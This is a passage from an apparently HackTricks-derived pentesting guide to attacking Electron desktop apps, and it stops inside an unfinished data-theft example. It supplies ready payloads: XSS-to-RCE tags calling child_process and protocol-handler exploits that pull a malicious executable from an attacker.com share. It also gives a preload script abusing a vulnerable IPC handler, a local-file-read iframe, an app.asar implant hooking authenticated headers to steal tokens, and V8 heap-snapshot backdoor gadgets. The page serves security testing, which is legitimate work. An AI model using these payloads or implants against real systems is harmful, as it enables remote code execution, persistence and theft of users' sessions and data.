overview.md (43101B)
1 --- 2 title: "Electron Desktop Apps" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Electron Desktop Apps 14 15 ## Introduction 16 17 Electron combines a privileged **Node.js** main process with **Chromium** renderer processes. Electron is not a web browser: application code can deliberately expose capabilities such as filesystem and shell access, so loading untrusted content requires stricter boundary design than an ordinary website.<sup>[[31]](#references)</sup> 18 19 Electron application code is commonly packaged in an `.asar` archive. Extract it before reviewing the source: 20 21 ```bash 22 npx asar extract app.asar destfolder #Extract everything 23 npx asar extract-file app.asar main.js #Extract just a file 24 ``` 25 26 The application's `package.json` identifies its main entry point. That file commonly creates renderer windows and sets their security-sensitive `webPreferences`. 27 28 ```json 29 { 30 "name": "standard-notes", 31 "main": "./app/index.js", 32 ``` 33 34 Electron has two principal process types: 35 36 - Main Process (has complete access to NodeJS) 37 - Renderer Process (should have NodeJS restricted access for security reasons) 38 39  40 41 A **renderer process** will be a browser window loading a file:<sup>[[13]](#references)</sup> 42 43 ```javascript 44 const { BrowserWindow } = require("electron") 45 let win = new BrowserWindow() 46 47 //Open Renderer Process 48 win.loadURL(`file://path/to/index.html`) 49 ``` 50 51 The **main process** configures each renderer process, commonly when constructing a `BrowserWindow`. Secure settings reduce the chance that renderer compromise can become native code execution, but they do not make untrusted content intrinsically safe.<sup>[[31]](#references)[[32]](#references)</sup> 52 53 Review at least these renderer preferences:<sup>[[32]](#references)</sup> 54 55 - **`nodeIntegration`** is `false` by default. Enabling it gives renderer JavaScript access to Node.js APIs and also disables that renderer's sandbox. 56 - **`contextIsolation`** is `true` by default. It separates the page's JavaScript context from the context used by preload scripts and Electron internals. 57 - **`preload`** has no default path. A configured preload script runs before page scripts and can expose narrowly scoped APIs through `contextBridge`. 58 - **`sandbox`** is `true` by default since Electron 20. It restricts renderer access to operating-system resources; setting `nodeIntegration: true` disables it. 59 - **`nodeIntegrationInWorker`** is `false` by default and controls Node.js integration in Web Workers. 60 - **`nodeIntegrationInSubFrames`** is `false` by default. 61 - If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application. 62 - If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe 63 64 Example of configuration: 65 66 ```javascript 67 const mainWindowOptions = { 68 title: "Discord", 69 backgroundColor: getBackgroundColor(), 70 width: DEFAULT_WIDTH, 71 height: DEFAULT_HEIGHT, 72 minWidth: MIN_WIDTH, 73 minHeight: MIN_HEIGHT, 74 transparent: false, 75 frame: false, 76 resizable: true, 77 show: isVisible, 78 webPreferences: { 79 blinkFeatures: "EnumerateDevices,AudioOutputDevices", 80 nodeIntegration: false, 81 contextIsolation: false, 82 sandbox: false, 83 nodeIntegrationInSubFrames: false, 84 preload: _path2.default.join(__dirname, "mainScreenPreload.js"), 85 nativeWindowOpen: true, 86 enableRemoteModule: false, 87 spellcheck: true, 88 }, 89 } 90 ``` 91 92 Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt):<sup>[[17]](#references)</sup> 93 94 ```html 95 Example Payloads (Windows): 96 <img 97 src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x" 98 onerror="alert(require('child_process').execSync('calc').toString());" /> 99 100 Example Payloads (Linux & MacOS): 101 <img 102 src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x" 103 onerror="alert(require('child_process').execSync('gnome-calculator').toString());" /> 104 <img 105 src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x" 106 onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" /> 107 <img 108 src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x" 109 onerror="alert(require('child_process').execSync('id').toString());" /> 110 <img 111 src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x" 112 onerror="alert(require('child_process').execSync('ls -l').toString());" /> 113 <img 114 src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/x" 115 onerror="alert(require('child_process').execSync('uname -a').toString());" /> 116 ``` 117 118 ### Capture traffic 119 120 Modify the start-main configuration and add the use of a proxy such as: 121 122 ```javascript 123 "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", 124 ``` 125 126 ## Electron Local Code Injection 127 128 If you can modify or instrument a locally installed Electron application, you may be able to make it execute arbitrary JavaScript. See: 129 130 131 [Macos Electron Applications Injection](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) 132 133 ## RCE: XSS + nodeIntegration 134 135 If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: 136 137 ```html 138 <script> 139 require("child_process").exec("calc") 140 // or 141 top.require("child_process").exec("open /System/Applications/Calculator.app") 142 </script> 143 ``` 144 145 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281110%29.png" alt=""><figcaption></figcaption></figure> 146 147 ## RCE: preload 148 149 The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**: 150 151 ```javascript 152 new BrowserWindow{ 153 webPreferences: { 154 nodeIntegration: false, 155 preload: _path2.default.join(__dirname, 'perload.js'), 156 } 157 }); 158 ``` 159 160 Therefore, the script can export node-features to pages: 161 162 ```javascript 163 typeof require === "function" 164 window.runCalc = function () { 165 require("child_process").exec("calc") 166 } 167 ``` 168 169 ```html 170 <body> 171 <script> 172 typeof require === "undefined" 173 runCalc() 174 </script> 175 </body> 176 ``` 177 178 > [!NOTE] > **If `contextIsolation` is on, this won't work** 179 180 ## RCE: XSS + contextIsolation 181 182 The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE. 183 184 If the contexts aren't isolated an attacker can: 185 186 1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites) 187 2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function 188 3. **Trigger** the use of **overwritten function** 189 4. RCE? 190 191 There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: 192 193 194 [Electron Contextisolation Rce Via Preload Code](/hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code) 195 196 197 [Electron Contextisolation Rce Via Electron Internal Code](/hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code) 198 199 200 [Electron Contextisolation Rce Via Ipc](/hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc) 201 202 ### Bypass click event 203 204 If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click 205 206 ```javascript 207 window.addEventListener('click', (e) => { 208 ``` 209 210 ## RCE via shell.openExternal 211 212 For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)<sup>[[18]](#references)[[19]](#references)</sup> 213 214 When deploying an Electron desktop application, ensuring the correct settings for `nodeIntegration` and `contextIsolation` is crucial. It's established that **client-side remote code execution (RCE)** targeting preload scripts or Electron's native code from the main process is effectively prevented with these settings in place. 215 216 Upon a user interacting with links or opening new windows, specific event listeners are triggered, which are crucial for the application's security and functionality: 217 218 ```javascript 219 webContents.on("new-window", function (event, url, disposition, options) {} 220 webContents.on("will-navigate", function (event, url) {} 221 ``` 222 223 These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function. 224 225 **Here is a simplified pseudocode:** 226 227  228 229  230 231 Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.<sup>[[20]](#references)</sup> 232 233 In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`. 234 235 **Examples of Windows protocol exploits include:** 236 237 ```html 238 <script> 239 window.open( 240 "ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22" 241 ) 242 </script> 243 244 <script> 245 window.open( 246 "search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update" 247 ) 248 </script> 249 250 <script> 251 window.open( 252 "ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D" 253 ) 254 </script> 255 ``` 256 257 ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal 258 259 This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.<sup>[[21]](#references)</sup> 260 261 The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like: 262 263 ```xml 264 <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview> 265 ``` 266 267 Therefore, an attacker that manages to load an arbitrary page could use that tag to **load an arbitrary preload script**. 268 269 This preload script was abused then to call a **vulnerable IPC service (`skype-new-window`)** which was calling calling **`shell.openExternal`** to get RCE: 270 271 ```javascript 272 (async() => { 273 const { ipcRenderer } = require("electron"); 274 await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); 275 setTimeout(async () => { 276 const username = process.execPath.match(/C:\\Users\\([^\\]+)/); 277 await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); 278 }, 5000); 279 })(); 280 ``` 281 282 ## Reading Internal Files: XSS + contextIsolation 283 284 **Disabling `contextIsolation` enables the use of `<webview>` tags**, similar to `<iframe>`, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:<sup>[[12]](#references)</sup> 285 286  287 288 Further, another method for **reading an internal file** is shared, highlighting a critical local file read vulnerability in an Electron desktop app. This involves injecting a script to exploit the application and exfiltrate data: 289 290 ```html 291 <br /><br /><br /><br /> 292 <h1> 293 pwn<br /> 294 <iframe onload="j()" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//etc/hosts">xssxsxxsxs</iframe> 295 <script type="text/javascript"> 296 function j() { 297 alert( 298 "pwned contents of /etc/hosts :\n\n " + 299 frames[0].document.body.innerText 300 ) 301 } 302 </script> 303 </h1> 304 ``` 305 306 ## **RCE: XSS + Old Chromium** 307 308 If the **Chromium** version bundled with the application is old and has known vulnerabilities, it may be possible to exploit it and turn XSS into RCE.<sup>[[30]](#references)</sup>\ 309 You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)<sup>[[22]](#references)</sup> 310 311 ## **XSS Phishing via Internal URL regex bypass** 312 313 If you find XSS but **cannot trigger RCE or steal internal files**, you could still try to **steal credentials via phishing**.<sup>[[11]](#references)</sup> 314 315 First, inspect the frontend code to determine what happens when a new URL is opened: 316 317 ```javascript 318 webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) 319 webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) 320 ``` 321 322 The call to **`openInternally`** decides whether a platform link opens in the **desktop window** or a third-party resource opens in the system browser. 323 324 If the function's URL allowlist regex can be bypassed—for example, because dots in a hostname were not escaped—an attacker could abuse XSS to open a convincing credential prompt on attacker-controlled infrastructure: 325 326 ```html 327 <script> 328 window.open("<http://subdomainagoogleq.com/index.html>") 329 </script> 330 ``` 331 332 ## `file://` Protocol 333 334 As mentioned in [the Electron security guide](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), pages running on **`file://`** receive broad file access. Consequently, **XSS may be usable to load arbitrary files** from the user's machine. A correctly designed **custom protocol** can restrict access to a specific set of files.<sup>[[31]](#references)</sup> 335 336 ## Remote module 337 338 The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. 339 340 > [!TIP] 341 > Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information. 342 343 > [!WARNING] 344 > Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**. 345 346 Electron's built-in `remote` module was deprecated and then removed; applications that still need its model may use the separate `@electron/remote` package. Because of the security and performance implications, avoid exposing remote-style capabilities to untrusted renderers. 347 348 With `@electron/remote`, it must first be **initialized in the main process**: 349 350 ```javascript 351 const remoteMain = require('@electron/remote/main') 352 remoteMain.initialize() 353 [...] 354 function createMainWindow() { 355 mainWindow = new BrowserWindow({ 356 [...] 357 }) 358 remoteMain.enable(mainWindow.webContents) 359 ``` 360 361 The renderer process can then import objects from the module: 362 363 ```javascript 364 import { dialog, getCurrentWindow } from '@electron/remote' 365 ``` 366 367 The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indicates some interesting **functions** exposed by the object **`app`** from the remote module:<sup>[[16]](#references)</sup> 368 369 - **`app.relaunch([options])`** 370 - **Restarts** the application by **exiting** the current instance and **launching** a new one. Useful for **app updates** or significant **state changes**. 371 - **`app.setAppLogsPath([path])`** 372 - **Defines** or **creates** a directory for storing **app logs**. The logs can be **retrieved** or **modified** using **`app.getPath()`** or **`app.setPath(pathName, newPath)`**. 373 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** 374 - **Registers** the current executable as the **default handler** for a specified **protocol**. You can provide a **custom path** and **arguments** if needed. 375 - **`app.setUserTasks(tasks)`** 376 - **Adds** tasks to the **Tasks category** in the **Jump List** (on Windows). Each task can control how the app is **launched** or what **arguments** are passed. 377 - **`app.importCertificate(options, callback)`** 378 - **Imports** a **PKCS#12 certificate** into the system’s **certificate store** (Linux only). A **callback** can be used to handle the result. 379 - **`app.moveToApplicationsFolder([options])`** 380 - **Moves** the application to the **Applications folder** (on macOS). Helps ensure a **standard installation** for Mac users. 381 - **`app.setJumpList(categories)`** 382 - **Sets** or **removes** a **custom Jump List** on **Windows**. You can specify **categories** to organize how tasks appear to the user. 383 - **`app.setLoginItemSettings(settings)`** 384 - **Configures** which **executables** launch at **login** along with their **options** (macOS and Windows only). 385 386 Example: 387 388 ```javascript 389 Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); 390 Native.app.exit() 391 ``` 392 393 ## systemPreferences module 394 395 The **primary API** for accessing system preferences and **emitting system events** in Electron. Methods like **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, and **setUserDefault** are all **part of** this module. 396 397 **Example usage:** 398 399 ```javascript 400 const { systemPreferences } = require('electron'); 401 402 // Subscribe to a specific notification 403 systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => { 404 console.log('Received custom notification:', userInfo); 405 }); 406 407 // Get a user default key from macOS 408 const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array'); 409 console.log('Recent Places:', recentPlaces); 410 ``` 411 412 ### **subscribeNotification / subscribeWorkspaceNotification** 413 414 * **Listens** for **native macOS notifications** using NSDistributedNotificationCenter. 415 * Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver. 416 * After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**. 417 418 ### **getUserDefault / setUserDefault** 419 420 * **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS. 421 422 * **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**. 423 424 * **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**. 425 426 * In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**. 427 428 ## Shell.showItemInFolder 429 430 This function shows the given file in a file manager. On affected platforms and versions, that interaction **could automatically execute the file**. 431 432 For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)<sup>[[16]](#references)</sup> 433 434 ## Content Security Policy 435 436 Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser. 437 438 It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**. 439 440 For more information check: 441 442 443 [Content Security Policy Csp Bypass](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/pentesting-web/content-security-policy-csp-bypass/README.md) 444 445 446 ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63) 447 448 This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt<sup>[[23]](#references)</sup> 449 450 Attack chain overview 451 - First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId. 452 - Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`. 453 - Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`. 454 - Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource. 455 - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution. 456 457 Example RCE primitive in the final context 458 ```javascript 459 // RCE.html (executed in a Node-enabled webview context) 460 require('child_process').exec('calc.exe'); // Windows 461 require('child_process').exec('/System/Applications/Calculator.app'); // macOS 462 ``` 463 464 Related reading on postMessage trust issues: 465 466 [Readme](/hacktricks/pentesting-web/postmessage-vulnerabilities/overview) 467 468 ## VS Code / github.dev: synthetic webview shortcuts + declarative extension command bridges 469 470 A different VS Code webview escape class appeared in June 2026: **untrusted JavaScript inside a notebook/preview webview could synthesize privileged global shortcuts** because the webview preload forwarded `keydown` data to the host workbench and the host handled it as real user input.<sup>[[24]](#references)</sup> 471 472 This is part of a broader history of IDE trust-boundary attacks in which project-controlled content reaches privileged editor features.<sup>[[29]](#references)</sup> 473 474 ### Boundary failure 475 476 If a cross-origin/sandboxed webview copies attacker-controlled keyboard fields (`key`, `code`, `keyCode`, modifiers, `repeat`) into a privileged `postMessage`/message-port bridge **without checking `event.isTrusted`**, JavaScript inside the webview can execute workbench shortcuts with:<sup>[[24]](#references)[[25]](#references)</sup> 477 478 ```javascript 479 window.dispatchEvent( 480 new KeyboardEvent("keydown", { 481 key: "a", 482 code: "KeyA", 483 keyCode: 65, 484 ctrlKey: true, 485 shiftKey: true, 486 }) 487 ) 488 ``` 489 490 This is especially useful when **synthetic typing is blocked** by the browser. Scripted key events usually **cannot type arbitrary text into HTML `<input>` elements**, but they still trigger shortcuts that consume `keydown` directly. 491 492 ### Practical abuse patterns 493 494 - **Shortcut-oriented UI abuse:** target global bindings such as notification acceptance, palette navigation, focused-button activation, or menu movement instead of trying to type commands. 495 - **Predictable privileged prompts from workspace metadata:** a repository-controlled `.vscode/extensions.json` can recommend an attacker extension and create a predictable install notification that can be accepted with a shortcut such as `Ctrl+Shift+A`. 496 - **Declarative extension manifest as command bridge:** even if local workspace extension code is blocked by CSP in web VS Code, declarative `package.json` contributions may still load. A local extension under `.vscode/extensions` can register a keybinding that calls `runCommands` and then a privileged internal command such as `workbench.extensions.installExtension`.<sup>[[24]](#references)[[28]](#references)</sup> 497 498 Example manifest pattern: 499 500 ```json 501 { 502 "contributes": { 503 "keybindings": [{ 504 "key": "ctrl+f1", 505 "command": "runCommands", 506 "args": {"commands": [{ 507 "command": "workbench.extensions.installExtension" 508 }]} 509 }] 510 } 511 } 512 ``` 513 514 - **Hidden security flags reachable from untrusted metadata:** if the internal command accepts attacker-controlled arguments like `{"context":{"skipPublisherTrust":true}}`, declarative metadata can suppress a trust dialog and install a Marketplace/CDN-hosted extension that finally executes attacker code. 515 - **Trusted-workspace abuse:** if remote/web workspaces are auto-trusted, local workspace extensions become a high-value bridge from repository content to privileged editor actions. 516 - **Post-compromise scope amplification:** after extension execution, inspect what tokens the editor exposes to extensions. In `github.dev`, the stolen GitHub token was valid beyond the opened repository, so querying `https://api.github.com/user/repos` enumerated additional accessible private repositories. 517 518 ### Audit notes 519 520 - Treat **webview-to-host input forwarding** as a privilege boundary; never re-dispatch synthetic key/click events from untrusted frames into the host. 521 - Enforce authorization **inside** sensitive commands. Do not accept caller-provided command context that can set internal flags such as `skipPublisherTrust`. 522 - Do not assume blocking executable local extension code is enough; also review **declarative contributions** (`keybindings`, `menus`, `commands`, tasks) from workspace-controlled manifests. 523 - The June 3, 2026 fixes added `isTrusted` to forwarded events, disabled untrusted key forwarding in notebook webviews, and stopped accepting caller-supplied install-command context.<sup>[[26]](#references)[[27]](#references)</sup> 524 525 ## Post-exploitation: ASAR/main-process implants 526 527 If you obtain **write access** to an Electron app resources directory, a very practical post-exploitation primitive is to **patch `app.asar`** (or the JS entrypoint it loads) and wait for the user to relaunch the app. Unlike a renderer-only XSS, code loaded from the **main process** executes in the app's **Node.js runtime**, so it can usually access the **filesystem**, spawn commands, hook Electron APIs, and inspect authenticated application state.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup> 528 529 Typical workflow: 530 531 1. Extract `app.asar` and identify the real bootstrap file from `package.json` (`main`) or the existing startup logic. 532 2. Add a small loader in the **main process** (or a preload/main-process hook) and repack the archive. 533 3. Wait for the application to start again and use the implant to capture runtime data after the user unlocks or authenticates to the desktop app. 534 535 Minimal bootstrap patch example: 536 537 ```javascript 538 // Added near the application main entrypoint 539 const cp = require("child_process") 540 const { session } = require("electron") 541 542 session.defaultSession.webRequest.onBeforeSendHeaders((details, callback) => { 543 // Inspect or copy authenticated headers/tokens here 544 callback({ requestHeaders: details.requestHeaders }) 545 }) 546 547 cp.exec("id") 548 ``` 549 550 Practical implications: 551 552 - **Trusted-client data theft**: once the desktop app decrypts or loads data for the user, the implant can read it from the runtime. This is why **E2EE messaging clients** (Signal/Slack/Mattermost) and **vault/secret managers** are still interesting targets at the endpoint layer. 553 - **Session/token abuse**: Electron implants can steal app cookies, bearer tokens, request headers, workspace files, or repo credentials exposed to the running client (for example, authenticated VS Code extensions or Git integrations). 554 - **Victim-context pivoting**: a patched app can proxy requests through the victim workstation, reusing the victim IP, TLS fingerprint, and application session instead of only exfiltrating raw tokens. 555 556 > [!NOTE] 557 > If the target enables **ASAR integrity** / **OnlyLoadAppFromAsar** or hardened Electron **fuses**, you may need a different local code-loading primitive (for example, fuse abuse or snapshot tampering). See the macOS-specific injection page for more local implant options and fuse details. 558 559 ## **Tools** 560 561 The curated **awesome-electronjs-hacking** collection provides additional research, tooling, and vulnerable-application resources.<sup>[[15]](#references)</sup> 562 563 - [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications. 564 - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity. 565 - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) checks for vulnerable third-party libraries. 566 - [**Electro.ng**](https://electro.ng/) is a commercial Electron security-analysis tool. 567 568 ## Labs 569 570 In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.<sup>[[14]](#references)</sup> 571 572 These commands help you work through the lab: 573 574 ```bash 575 # Download apps from these URLs 576 # Vuln to nodeIntegration 577 https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip 578 # Vuln to contextIsolation via preload script 579 https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip 580 # Vulnerable to IPC-based RCE 581 https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip 582 583 # Get inside the electron app and check for vulnerabilities 584 npm audit 585 586 # How to use electronegativity 587 npm install @doyensec/electronegativity -g 588 electronegativity -i vulnerable1 589 590 # Run an application from source code 591 npm install -g electron 592 cd vulnerable1 593 npm install 594 npm start 595 ``` 596 597 ## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305 598 599 Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.<sup>[[2]](#references)</sup> 600 601 Key points 602 - Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.<sup>[[3]](#references)[[4]](#references)</sup> 603 - Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). 604 - Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. 605 - Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. 606 607 Generating a malicious snapshot without building Chromium 608 - Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.<sup>[[5]](#references)[[6]](#references)</sup> 609 610 Example minimal payload (prove execution by forcing a crash) 611 ```javascript 612 // Build snapshot from this payload 613 // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" 614 // Replace the application’s v8_context_snapshot.bin with the generated file 615 616 const orig = Array.isArray; 617 618 // Use Array.isArray as a ubiquitous gadget 619 Array.isArray = function () { 620 // Executed whenever the app calls Array.isArray 621 throw new Error("testing isArray gadget"); 622 }; 623 ``` 624 625 Isolate-aware payload routing (run different code in main vs. renderer) 626 - Main process detection: Node-only globals like process.pid, process.binding(), or process.dlopen are present in the main process isolate. 627 - Browser/renderer detection: Browser-only globals like alert are available when running in a document context. 628 629 Example gadget that probes main-process Node capabilities once 630 ```javascript 631 const orig = Array.isArray; 632 633 Array.isArray = function() { 634 // Defer until we land in main (has Node process) 635 try { 636 if (!process || !process.pid) { 637 return orig(...arguments); 638 } 639 } catch (_) { 640 return orig(...arguments); 641 } 642 643 // Run once 644 if (!globalThis._invoke_lock) { 645 globalThis._invoke_lock = true; 646 console.log('[payload] isArray hook started ...'); 647 648 // Capability probing in main 649 console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`); 650 console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`); 651 console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`); 652 console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`); 653 process.exit(0); 654 } 655 return orig(...arguments); 656 }; 657 ``` 658 659 Renderer/browser-context data theft PoC (e.g., Slack) 660 ```javascript 661 